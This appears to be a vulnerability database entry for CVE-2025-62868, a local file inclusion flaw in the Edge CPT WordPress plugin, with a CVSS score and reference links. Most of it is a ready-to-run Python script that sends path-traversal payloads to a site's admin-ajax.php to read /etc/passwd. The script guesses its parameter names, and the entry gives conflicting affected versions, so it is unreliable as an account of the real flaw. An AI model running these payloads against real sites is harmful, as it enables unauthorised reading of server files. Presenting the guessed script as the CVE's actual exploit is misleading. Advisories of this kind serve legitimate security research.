CVE-2025-62868

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Edge-Themes Edge CPT allows PHP Local File Inclusion.This issue affects Edge CPT: from n/a through 1.4.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Edge CPT < 1.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-62868 PoC - Local File Inclusion in Edge CPT
# Note: This is for educational and authorized testing purposes only

import requests
import sys

def test_lfi(target_url, file_path='/etc/passwd'):
    """
    Test for Local File Inclusion vulnerability
    """
    # Common vulnerable patterns in WordPress plugins
    payloads = [
        f'{file_path}',
        f'../../../../{file_path}',
        f'../../../../../../{file_path}',
        f'....//....//....//....//{file_path}',
        f'%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{file_path}'
    ]
    
    print(f'[*] Testing target: {target_url}')
    print(f'[*] Attempting to read: {file_path}')
    
    for payload in payloads:
        try:
            # Typical vulnerable parameter names
            params = {
                'action': 'edge_cpt_include',  # Example action
                'file': payload
            }
            
            response = requests.get(target_url, params=params, timeout=10)
            
            if response.status_code == 200:
                if 'root:' in response.text or 'bin:' in response.text:
                    print(f'[+] Potential LFI found with payload: {payload}')
                    print(f'[+] Response preview: {response.text[:200]}...')
                    return True
        except requests.RequestException as e:
            print(f'[-] Error testing payload {payload}: {e}')
    
    print('[-] No obvious LFI detected')
    return False

if __name__ == '__main__':
    if len(sys.argv) > 1:
        target = sys.argv[1]
        test_lfi(target)
    else:
        print('Usage: python cve-2025-62868-poc.py <target_url>')
        print('Example: python cve-2025-62868-poc.py http://example.com/wp-admin/admin-ajax.php')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62868
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62868
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62868/
[4] VulDB https://vuldb.com/cve/CVE-2025-62868
[5] https://patchstack.com/database/wordpress/plugin/edge-cpt/security-policy/vdp/vulnerability/wordpress-edge-cpt-plugin-1-4-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

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